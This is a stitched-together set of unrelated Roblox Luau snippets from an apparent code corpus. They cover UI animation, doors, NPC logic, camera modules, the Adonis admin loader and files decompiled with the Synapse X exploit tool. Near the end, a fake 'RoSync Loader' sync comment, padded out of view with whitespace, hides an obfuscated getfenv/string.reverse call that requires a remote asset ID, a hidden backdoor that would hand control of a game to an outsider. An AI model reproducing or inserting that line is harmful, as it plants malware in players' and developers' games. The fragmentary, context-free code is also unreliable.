Roblox/luau_corpus huggingface dataset:
---Size
local FSX = Frame.Size.X.Scale
local FSY = Frame.Size.Y.Scale

Player.DataFolder.Points.Changed:Connect(function()
	StatTrack.Text = Points.Value
	
	local function GoBack()
		Frame:TweenSize(
			UDim2.new(FSX,0,FSY,0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Back,
			0.125,
			true
		)
	end
	
	Frame:TweenSize(
		UDim2.new(FSX + 0.019 ,0,FSY + 0.019,0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.125,
		true,
		GoBack
	)
	
	
end)
--------LEFT DOOR 7--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(135)

game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
--Serivice
game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
-- loop
local count = 0
local startTick = tick()
while true do 
	local timeElapsed = tick() - startTick
	-- if the game has loaded and the minimum time has elapsed then break the loop
	if game:IsLoaded() and timeElapsed > MIN_TIME and game.Workspace.Finish.Value==1 then
		break
	end

	-- animate the text 
	textLabel.Text = "Loading " .. string.rep(".",count)
	count = (count + 1) % 4

	wait(.3)
end

game.Workspace.Finish.Value=2

if not game:IsLoaded() then
	game.Loaded:Wait()
end
--nextsound=0
nextjump=0
chasing=false

variance=4

damage=11
attackrange=4.5
sightrange=60
runspeed=18
wonderspeed=8
healthregen=false
colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"}

function raycast(spos,vec,currentdist)
	local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),sp)
	if hit2 and pos2 then
		if hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" then
			local currentdist=currentdist-(pos2-spos).magnitude
			return raycast(pos2,vec,currentdist)
		end
	end
	return hit2,pos2
end

function waitForChild(parent,childName)
	local child=parent:findFirstChild(childName)
	if child then return child end
	while true do
		child=parent.ChildAdded:wait()
		if child.Name==childName then return child end
	end
end
-- Factor of torque applied to change the wheel direction
-- Larger number generally means faster braking
local BRAKING_TORQUE = 16000
-- Initialize mesh tool
local MeshTool = require(CoreTools:WaitForChild 'Mesh')
Core.AssignHotkey('H', Core.Support.Call(Core.EquipTool, MeshTool));
Core.AddToolButton(Core.Assets.MeshIcon, 'H', MeshTool)
-- Runs when someone touches our pet
function touch(part)

	-- IF player AND not dead AND has no master
	if part.Parent:FindFirstChild('Humanoid') and part.Parent:FindFirstChild('Humanoid').health > 0 and not master then

		-- Assign the master
		master = part.Parent.Head

		--Create a new spring
		spring = Instance.new("SpringConstraint", pet)
		spring.Attachment0 = pet.SpringAttach
		spring.Attachment1 = master.HatAttachment
		spring.FreeLength = maxDistance
		spring.Stiffness = 1000
		spring.Damping = 2

		-- Makes pet turn with player
		orient = Instance.new("AlignOrientation", pet)
		orient.Attachment0 = pet.OrientAttach
		orient.Attachment1 = master.HatAttachment
		orient.RigidityEnabled = true


		-- Reset pet apon death		
		function death()

			spring:Destroy()
			orient:Destroy()
			pet.CFrame = startpos
			master = nil

		end

		master.Parent.Humanoid.Died:Connect(death)



	end

end

pet.Touched:Connect(touch)
-- ربط الدالة بحدث الاصطدام
plank.Touched:Connect(onTouched)
-- Make sure to spell it 100% correct.  
local permissions = {
	cmds = 'Players',
	help = 'Players',
	m = 'Moderators',
	kick = 'Moderators',
}

local defaultLevel = 'Creators' -- The permission level that will be set for commands not configured above.
--Weld stuff here
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M"
ModelWeld(misc.Tach.Parts,misc.Tach.M)

MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)

MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)
car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
-- LocalScript

local numValue = Player.Eventos.EasterEvent -- substitua "NumValue" pelo nome da sua NumberValue
local textLabel = script.Parent -- substitua "TextLabel" pelo nome do seu TextLabel
--// Aim|Zoom|Sensitivity Customization
	ZoomSpeed = 0.20; -- The lower the number the slower and smoother the tween
	AimZoom = 15; -- Default zoom
	AimSpeed = 0.24;
	UnaimSpeed = 0.20;
	CycleAimZoom = 30; -- Cycled zoom
	MouseSensitivity = 0.25; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy
--Simple function to make the door appear and disappear
	
local clickDetector = script.Parent.ClickDetector	

function onMouseClick()
	if script.Parent.CanCollide == false then
		print "Close door"
		script.Parent.CanCollide = true
		script.Parent.Transparency = 0
	else
		print "Open door"
		script.Parent.CanCollide = false
		script.Parent.Transparency = 1
	end
end	

clickDetector.MouseClick:connect(onMouseClick)
--[=[
	@within TableUtil
	@function Copy
	@param tbl table -- Table to copy
	@param deep boolean? -- Whether or not to perform a deep copy
	@return table

	Creates a copy of the given table. By default, a shallow copy is
	performed. For deep copies, a second boolean argument must be
	passed to the function.

	:::caution No cyclical references
	Deep copies are _not_ protected against cyclical references. Passing
	a table with cyclical references _and_ the `deep` parameter set to
	`true` will result in a stack-overflow.
]=]
local function Copy(t: Table, deep: boolean?): Table
	if deep then
		local function DeepCopy(tbl)
			local tCopy = table.create(#tbl)
			for k,v in pairs(tbl) do
				if type(v) == "table" then
					tCopy[k] = DeepCopy(v)
				else
					tCopy[k] = v
				end
			end
			return tCopy
		end
		return DeepCopy(t)
	else
		if #t > 0 then
			return table.move(t, 1, #t, 1, table.create(#t))
		else
			local tCopy = {}
			for k,v in pairs(t) do
				tCopy[k] = v
			end
			return tCopy
		end
	end
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
v1.__index = v1;
v1.CameraShakeState = {
	FadingIn = 0, 
	FadingOut = 1, 
	Sustained = 2, 
	Inactive = 3
};
local l__Vector3_new__1 = Vector3.new;
function v1.new(p1, p2, p3, p4)
	if p3 == nil then
		p3 = 0;
	end;
	if p4 == nil then
		p4 = 0;
	end;
	assert(type(p1) == "number", "Magnitude must be a number");
	assert(type(p2) == "number", "Roughness must be a number");
	assert(type(p3) == "number", "FadeInTime must be a number");
	assert(type(p4) == "number", "FadeOutTime must be a number");
	local v2 = {
		Magnitude = p1, 
		Roughness = p2, 
		PositionInfluence = l__Vector3_new__1(), 
		RotationInfluence = l__Vector3_new__1(), 
		DeleteOnInactive = true, 
		roughMod = 1, 
		magnMod = 1, 
		fadeOutDuration = p4, 
		fadeInDuration = p3, 
		sustain = p3 > 0
	};
	if p3 > 0 then
		local v3 = 0;
	else
		v3 = 1;
	end;
	v2.currentFadeTime = v3;
	v2.tick = Random.new():NextNumber(-100, 100);
	v2._camShakeInstance = true;
	return setmetatable(v2, v1);
end;
local l__math_noise__2 = math.noise;
function v1.UpdateShake(p5, p6)
	local l__tick__4 = p5.tick;
	local v5 = p5.currentFadeTime;
	if p5.fadeInDuration > 0 and p5.sustain then
		if v5 < 1 then
			v5 = v5 + p6 / p5.fadeInDuration;
		elseif p5.fadeOutDuration > 0 then
			p5.sustain = false;
		end;
	end;
	if not p5.sustain then
		v5 = v5 - p6 / p5.fadeOutDuration;
	end;
	if p5.sustain then
		p5.tick = l__tick__4 + p6 * p5.Roughness * p5.roughMod;
	else
		p5.tick = l__tick__4 + p6 * p5.Roughness * p5.roughMod * v5;
	end;
	p5.currentFadeTime = v5;
	return l__Vector3_new__1(l__math_noise__2(l__tick__4, 0) * 0.5, l__math_noise__2(0, l__tick__4) * 0.5, l__math_noise__2(l__tick__4, l__tick__4) * 0.5) * p5.Magnitude * p5.magnMod * v5;
end;
function v1.StartFadeOut(p7, p8)
	if p8 == 0 then
		p7.currentFadeTime = 0;
	end;
	p7.fadeOutDuration = p8;
	p7.fadeInDuration = 0;
	p7.sustain = false;
end;
function v1.StartFadeIn(p9, p10)
	if p10 == 0 then
		p9.currentFadeTime = 1;
	end;
	p9.fadeInDuration = p10 or p9.fadeInDuration;
	p9.fadeOutDuration = 0;
	p9.sustain = true;
end;
function v1.GetScaleRoughness(p11)
	return p11.roughMod;
end;
function v1.SetScaleRoughness(p12, p13)
	p12.roughMod = p13;
end;
function v1.GetScaleMagnitude(p14)
	return p14.magnMod;
end;
function v1.SetScaleMagnitude(p15, p16)
	p15.magnMod = p16;
end;
function v1.GetNormalizedFadeTime(p17)
	return p17.currentFadeTime;
end;
function v1.IsShaking(p18)
	local v6 = true;
	if not (p18.currentFadeTime > 0) then
		v6 = p18.sustain;
	end;
	return v6;
end;
function v1.IsFadingOut(p19)
	return not p19.sustain and p19.currentFadeTime > 0;
end;
function v1.IsFadingIn(p20)
	local v7 = false;
	if p20.currentFadeTime < 1 then
		v7 = p20.sustain and p20.fadeInDuration > 0;
	end;
	return v7;
end;
function v1.GetState(p21)
	if p21:IsFadingIn() then
		return v1.CameraShakeState.FadingIn;
	end;
	if p21:IsFadingOut() then
		return v1.CameraShakeState.FadingOut;
	end;
	if p21:IsShaking() then
		return v1.CameraShakeState.Sustained;
	end;
	return v1.CameraShakeState.Inactive;
end;
return v1;
--// WIP
local function LoadPackage(package, folder, runNow)
	--// runNow - Run immediately after unpacking (default behavior is to just unpack (((only needed if loading after startup))))
	--// runNow currently not used (limitations) so all packages must be present at server startup
	local function unpackFolder(curFolder, unpackInto)
		if unpackInto then
			for _, obj in ipairs(curFolder:GetChildren()) do
				local clone = obj:Clone()
				if obj:IsA("Folder") then
					local realFolder = unpackInto:FindFirstChild(obj.Name)
					if not realFolder then
						clone.Parent = unpackInto
					else
						unpackFolder(obj, realFolder)
					end
				else
					clone.Parent = unpackInto
				end
			end
		else
			warn(`Missing parent to unpack into for {curFolder}`)
		end
	end

	unpackFolder(package, folder)
end;

local function CleanUp()
	--local env = getfenv(2)
	--local ran,ret = pcall(function() return env.script:GetFullName() end)
	warn("Beginning Adonis cleanup & shutdown process...")
	--warn(`CleanUp called from {tostring((ran and ret) or "Unknown")}`)
	--local loader = server.Core.ClientLoader
	server.Model.Name = "Adonis_Loader"
	server.Model.Parent = service.ServerScriptService
	server.Running = false
	
	server.Logs.SaveCommandLogs()
	server.Core.GAME_CLOSING = true;
	server.Core.SaveAllPlayerData()

	pcall(service.Threads.StopAll)
	pcall(function()
		for i, v in pairs(RbxEvents) do
			print("Disconnecting event")
			v:Disconnect()
			table.remove(RbxEvents, i)
		end
	end)
	--loader.Archivable = false
	--loader.Disabled = true
	--loader:Destroy()
	if server.Core and server.Core.RemoteEvent then
		pcall(server.Core.DisconnectEvent)
	end

	warn("Unloading complete")
end;

server = {
	Running = true;
	Modules = {};
	Pcall = Pcall;
	cPcall = cPcall;
	Routine = Routine;
	LogError = logError;
	ErrorLogs = ErrorLogs;
	ServerStartTime = os.time();
	CommandCache = {};
};

locals = {
	server = server;
	CodeName = "";
	Settings = server.Settings;
	HookedEvents = HookedEvents;
	ErrorLogs = ErrorLogs;
	logError = logError;
	origEnv = origEnv;
	Routine = Routine;
	Folder = Folder;
	GetEnv = GetEnv;
	cPcall = cPcall;
	Pcall = Pcall;
};

service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
	local extra = {...}
	if eType == "MethodError" then
		if server and server.Logs and server.Logs.AddLog then
			server.Logs.AddLog("Script", {
				Text = `Cached method doesn't match found method: {extra[1]}`;
				Desc = `Method: {extra[1]}`
			})
		end
	elseif eType == "ServerError" then
		logError("Server", msg)
	elseif eType == "TaskError" then
		logError("Task", msg)
	end
end, function(c, parent, tab)
	if not isModule(c) and c ~= server.Loader and c ~= server.Dropper and c ~= server.Runner and c ~= server.Model and c ~= script and c ~= Folder and parent == nil then
		tab.UnHook()
	end
end, ServiceSpecific, GetEnv(nil, {server = server}))
--| Main |--
Remote.PhongDev.OnServerEvent:Connect(function(LocalPlayer)
	local Humanoid = LocalPlayer.Character.Humanoid
	Humanoid:LoadAnimation(Anims.Transform):Play() -- play animation
end)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local l__HDAdminMain__1 = _G.HDAdminMain;
function v1.GetRankName(p1, p2)
	return l__HDAdminMain__1:GetModule("cf"):GetRankName(p2);
end;
function v1.GetRankId(p3, p4)
	return l__HDAdminMain__1:GetModule("cf"):GetRankId(p4);
end;
function v1.Notice(p5, p6, p7)
	if l__HDAdminMain__1.player then
		if not p7 then
			return;
		end;
	else
		l__HDAdminMain__1:GetModule("cf"):Notice(p6, "Game Notice", p7);
		return;
	end;
	l__HDAdminMain__1:GetModule("Notices"):Notice("Notice", "Game Notice", p7);
end;
function v1.Error(p8, p9, p10)
	if l__HDAdminMain__1.player then
		if not p10 then
			return;
		end;
	else
		l__HDAdminMain__1.signals.Error:FireClient(p9, { "Game Notice", p10 });
		return;
	end;
	l__HDAdminMain__1:GetModule("Notices"):Notice("Error", "Game Notice", p10);
end;
return v1;
--[[
	CameraModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current camera controller,
	character occlusion controller, and transparency controller. This script binds to
	RenderStepped at Camera priority and calls the Update() methods on the active
	controller instances.

	The camera controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

local CameraModule = {}
CameraModule.__index = CameraModule

local FFlagUserFlagEnableNewVRSystem do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem")
	end)
	FFlagUserFlagEnableNewVRSystem = success and result
end
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
function OrbitalCamera:LoadNumberValueParameters()
	-- These initial values do not require change listeners since they are read only once
	self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
	self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)

	-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
	self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
	self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)

	-- Internal values set (in radians, from degrees), plus sanitization
	self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
	self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
	self.curDistance = self.externalProperties["InitialDistance"]

	self:SetAndBoundsCheckAzimuthValues()
	self:SetAndBoundsCheckElevationValues()
	self:SetAndBoundsCheckDistanceValues()
end

function OrbitalCamera:GetModuleName()
	return "OrbitalCamera"
end

function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid)
	if not humanoid or not humanoid.RootPart then
		warn("OrbitalCamera could not set initial orientation due to missing humanoid")
		return
	end
	assert(humanoid.RootPart, "")
	local newDesiredLook = (humanoid.RootPart.CFrame.LookVector - Vector3.new(0,0.23,0)).Unit
	local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
	local vertShift = math.asin(self:GetCameraLookVector().Y) - math.asin(newDesiredLook.Y)
	if not Util.IsFinite(horizontalShift) then
		horizontalShift = 0
	end
	if not Util.IsFinite(vertShift) then
		vertShift = 0
	end
end
--[[ Last synced 7/31/2021 05:20                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
-- Decompiled with the Synapse X Luau decompiler.

local l__UserInputService__1 = game:GetService("UserInputService");
local u1 = nil;
local u2 = nil;
local u3 = false;
local u4 = false;
local u5 = nil;
local l__LocalPlayer__6 = game.Players.LocalPlayer;
local l__DoubleJump__7 = script:WaitForChild("DoubleJump");
function onJumpRequest()
	if u1 then
		if u2 then
			if u1:IsDescendantOf(workspace) then
				if u2:GetState() == Enum.HumanoidStateType.Dead then
					
				else
					if u3 then
						if not u4 then
							u4 = true;
							u2.JumpPower = u5 * 1.2;
							u2:ChangeState(Enum.HumanoidStateType.Jumping);
							l__LocalPlayer__6.Character.Humanoid:LoadAnimation(l__DoubleJump__7):Play();
						end;
					end;
					return;
				end;
			end;
		end;
	end;
end;
local function v2(p1)
	u1 = p1;
	u2 = p1:WaitForChild("Humanoid");
	u4 = false;
	u3 = false;
	u5 = u2.JumpPower;
	u2.StateChanged:connect(function(p2, p3)
		if p3 == Enum.HumanoidStateType.Landed then
			u3 = false;
			u4 = false;
			u2.JumpPower = u5;
			return;
		end;
		if p3 == Enum.HumanoidStateType.Freefall then
			wait(0.2);
			u3 = true;
		end;
	end);
end;
if l__LocalPlayer__6.Character then
	v2(l__LocalPlayer__6.Character);
end;
l__LocalPlayer__6.CharacterAdded:connect(v2);
l__UserInputService__1.JumpRequest:connect(onJumpRequest);
--

local hue, saturation, value = 0, 0, 1;

local function update()
	colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value);
	local color3 = Color3.fromHSV(hue,saturation,value)
	local r,g,b = color3.R,color3.G,color3.B

	print(r)
	print(g)
	print(b)
	color.Text = (tostring(math.floor(r*255))..","..tostring(math.floor(g*255))..","..tostring(math.floor(b*255)))
	color.TextColor3 = Color3.fromRGB(r*255,g*255,b*255)
end
-- Function to bind to equip event
local function equip()
	local torso = player.Character.Torso
	
	-- Setup joint variables
	neck = torso.Neck	
	oldNeckC0 = neck.C0
	shoulder = torso:FindFirstChild("Right Shoulder")
	oldShoulderC0 = shoulder.C0
	
	-- Remember old mouse icon and update current
	oldIcon = mouse.Icon
	mouse.Icon = "http://www.roblox.com/asset/?id=79658449"
	
	-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
	if userInputService.TouchEnabled then
		connection = userInputService.TouchMoved:connect(mobileFrame)
	else
		connection = render:connect(pcFrame)
	end
	
	-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
	-- during touch input
	userInputService.TouchStarted:connect(function(touch, processed)
		mobileShouldTrack = not processed
	end)	
	userInputService.TouchEnded:connect(function(touch, processed)
		mobileShouldTrack = false
	end)

	-- If game uses filtering enabled then need to update server while tool is
	-- held by character.
	if workspace.FilteringEnabled then
		while connection do
			wait()
			game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0)
		end
	end
end
--[[
	[How fast the body rotates.]
	[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
	[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]]
local UpdateSpeed = 0.5
-- Make the HotbarFrame, which holds only the Hotbar Slots
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.Parent = MainFrame
--[=[
	Defaults the observable to a value if it isn't fired immediately

	```lua
	Rx.NEVER:Pipe({
		Rx.defaultsTo("Hello")
	}):Subscribe(print) --> Hello
	```

	@param value any
	@return (source: Observable) -> Observable
]=]
function Rx.defaultsTo(value)
	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			local maid = Maid.new()

			local fired = false

			maid:GiveTask(source:Subscribe(
				function(...)
					fired = true
					sub:Fire(...)
				end,
				sub:GetFailComplete()))

			if not fired then
				sub:Fire(value)
			end

			return maid
		end)
	end
end